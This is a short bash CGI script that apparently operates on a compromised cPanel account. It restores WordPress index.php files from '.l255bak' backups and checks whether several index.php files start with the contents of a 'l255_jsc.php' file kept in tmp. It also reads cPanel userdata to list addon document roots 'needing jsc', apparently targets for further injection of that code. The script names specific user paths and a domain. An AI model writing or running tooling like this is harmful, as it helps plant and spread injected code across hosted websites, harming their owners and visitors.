#!/bin/bash echo "Content-Type: text/plain" echo echo "MARK=1314123" for t in \ /home/sathwell/public_html/wp-admin/index.php \ /home/sathwell/public_html/wp-content/index.php do bak=$(ls -1t ${t}.l255bak.* 2>/dev/null | head -1) if [ -n "$bak" ]; then cp -f "$bak" "$t" && echo "RESTORED $t <= $bak size=$(wc -c < $t)" else echo "NOBAK $t" fi done # jsc presence (size only + first line hash) python3 - <<'PY' import hashlib, pathlib jsc=pathlib.Path('/home/sathwell/tmp/l255_jsc.php') sig=jsc.read_bytes()[:64] if jsc.exists() else b'' print('jsc_tmp', jsc.exists(), jsc.stat().st_size if jsc.exists() else 0) for t in [ '/home/sathwell/public_html/index.php', '/home/sathwell/public_html/prevail.com.my/index.php', '/home/sathwell/public_html/wp-admin/index.php', '/home/sathwell/public_html/wp-content/index.php', ]: p=pathlib.Path(t) if not p.exists(): print('MISS', t); continue b=p.read_bytes() top = (sig and b.startswith(sig)) print(('JSC_TOP' if top else 'NO_JSC'), t, 'size', len(b), 'sha12', hashlib.sha256(b[:200]).hexdigest()[:12]) PY # list addon docroots needing jsc echo "==== more roots ====" for f in /var/cpanel/userdata/sathwell/*; do [ -f "$f" ] || continue case "$f" in *.cache|*.json|*.db) continue ;; esac bn=$(basename "$f") dr=$(grep -E '^documentroot:' "$f" 2>/dev/null | awk '{print $2}') sn=$(grep -E '^servername:' "$f" 2>/dev/null | awk '{print $2}') [ -n "$dr" ] || continue echo "$bn sn=$sn dr=$dr idx=$( [ -f $dr/index.php ] && echo yes || echo no )" done